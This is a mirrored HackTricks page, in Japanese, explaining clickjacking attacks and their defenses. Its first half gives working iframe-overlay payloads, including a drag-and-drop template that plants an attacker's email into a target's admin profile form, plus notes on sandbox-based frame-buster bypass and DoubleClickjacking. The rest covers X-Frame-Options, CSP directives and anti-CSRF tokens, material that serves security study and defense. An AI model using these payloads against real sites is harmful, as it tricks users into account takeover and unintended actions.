mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
202 lines
12 KiB
Markdown
202 lines
12 KiB
Markdown
# Clickjacking
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## What is Clickjacking
|
||
|
||
クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**を**クリックするように騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。
|
||
|
||
### Prepopulate forms trick
|
||
|
||
時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることが可能です**。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。
|
||
|
||
### Populate form with Drag\&Drop
|
||
|
||
ユーザーに**フォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書かせたくない場合**、ユーザーに**Drag\&Drop**してもらうように頼むだけで、あなたの制御されたデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。
|
||
|
||
### Basic Payload
|
||
```css
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 700px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
div {
|
||
position:absolute;
|
||
top:470px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
</style>
|
||
<div>Click me</div>
|
||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
```
|
||
### マルチステップペイロード
|
||
```css
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 500px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
.firstClick, .secondClick {
|
||
position:absolute;
|
||
top:330px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
.secondClick {
|
||
left:210px;
|
||
}
|
||
</style>
|
||
<div class="firstClick">Click me first</div>
|
||
<div class="secondClick">Click me next</div>
|
||
<iframe src="https://vulnerable.net/account"></iframe>
|
||
```
|
||
### Drag\&Drop + Click ペイロード
|
||
```css
|
||
<html>
|
||
<head>
|
||
<style>
|
||
#payload{
|
||
position: absolute;
|
||
top: 20px;
|
||
}
|
||
iframe{
|
||
width: 1000px;
|
||
height: 675px;
|
||
border: none;
|
||
}
|
||
.xss{
|
||
position: fixed;
|
||
background: #F00;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
</body>
|
||
</html>
|
||
```
|
||
### XSS + Clickjacking
|
||
|
||
もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\
|
||
例:\
|
||
あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。\
|
||
攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行します**。
|
||
|
||
### DoubleClickjacking
|
||
|
||
最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、マウスダウンとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。
|
||
|
||
例はこのビデオで見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||
|
||
コードの例は[このページ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)で見つけることができます。
|
||
|
||
> [!WARNING]
|
||
> この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**1回のクリックで実行できる敏感なアクション、例えばOAuthの権限を受け入れるプロンプト**を見つける必要があります。
|
||
|
||
## Clickjackingを軽減するための戦略
|
||
|
||
### クライアントサイドの防御
|
||
|
||
クライアントサイドで実行されるスクリプトは、クリックジャッキングを防ぐためのアクションを実行できます:
|
||
|
||
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
|
||
- すべてのフレームを表示可能にする。
|
||
- 見えないフレームへのクリックを防ぐ。
|
||
- 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
|
||
|
||
しかし、これらのフレームバスティングスクリプトは回避される可能性があります:
|
||
|
||
- **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptのサポートの欠如に基づいてこれらのスクリプトをブロックする可能性があります。
|
||
- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。
|
||
```html
|
||
<iframe
|
||
id="victim_website"
|
||
src="https://victim-website.com"
|
||
sandbox="allow-forms allow-scripts"></iframe>
|
||
```
|
||
`allow-forms` と `allow-scripts` の値は、トップレベルのナビゲーションを無効にしながら、iframe内でのアクションを有効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて `allow-same-origin` や `allow-modals` などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。
|
||
|
||
### サーバーサイドの防御
|
||
|
||
#### X-Frame-Options
|
||
|
||
**`X-Frame-Options` HTTPレスポンスヘッダー**は、ブラウザにページを `<frame>` または `<iframe>` でレンダリングする正当性について通知し、Clickjackingを防ぐのに役立ちます:
|
||
|
||
- `X-Frame-Options: deny` - どのドメインもコンテンツをフレーム化できません。
|
||
- `X-Frame-Options: sameorigin` - 現在のサイトのみがコンテンツをフレーム化できます。
|
||
- `X-Frame-Options: allow-from https://trusted.com` - 指定された 'uri' のみがページをフレーム化できます。
|
||
- 制限に注意してください:ブラウザがこのディレクティブをサポートしていない場合、機能しない可能性があります。一部のブラウザはCSPのframe-ancestorsディレクティブを優先します。
|
||
|
||
#### Content Security Policy (CSP) frame-ancestorsディレクティブ
|
||
|
||
**CSPの `frame-ancestors` ディレクティブ**は、Clickjacking保護のための推奨方法です:
|
||
|
||
- `frame-ancestors 'none'` - `X-Frame-Options: deny` と同様です。
|
||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` と同様です。
|
||
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` と同様です。
|
||
|
||
例えば、以下のCSPは同じドメインからのフレーミングのみを許可します:
|
||
|
||
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
||
さらなる詳細や複雑な例については、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)や[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)を参照してください。
|
||
|
||
### `child-src` と `frame-src` を使用したContent Security Policy (CSP)
|
||
|
||
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可するソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
|
||
|
||
#### `frame-src` ディレクティブ
|
||
|
||
- フレームの有効なソースを定義します。
|
||
- `default-src` ディレクティブよりも具体的です。
|
||
```
|
||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||
```
|
||
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームを許可します。
|
||
|
||
#### `child-src` ディレクティブ
|
||
|
||
- ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。
|
||
- frame-srcおよびworker-srcのフォールバックとして機能します。
|
||
```
|
||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||
```
|
||
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームとワーカーを許可します。
|
||
|
||
**使用上の注意:**
|
||
|
||
- 非推奨: child-src は frame-src と worker-src に置き換えられつつあります。
|
||
- フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
|
||
- 厳格なソース定義: 悪用を防ぐために、指令には信頼できるソースのみを含めてください。
|
||
|
||
#### JavaScript フレームブレイキングスクリプト
|
||
|
||
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
|
||
```javascript
|
||
if (top !== self) {
|
||
top.location = self.location
|
||
}
|
||
```
|
||
#### Anti-CSRFトークンの使用
|
||
|
||
- **トークン検証:** ウェブアプリケーションでanti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われていることを確認し、Clickjackedページを通じて行われていないことを保証します。
|
||
|
||
## 参考文献
|
||
|
||
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|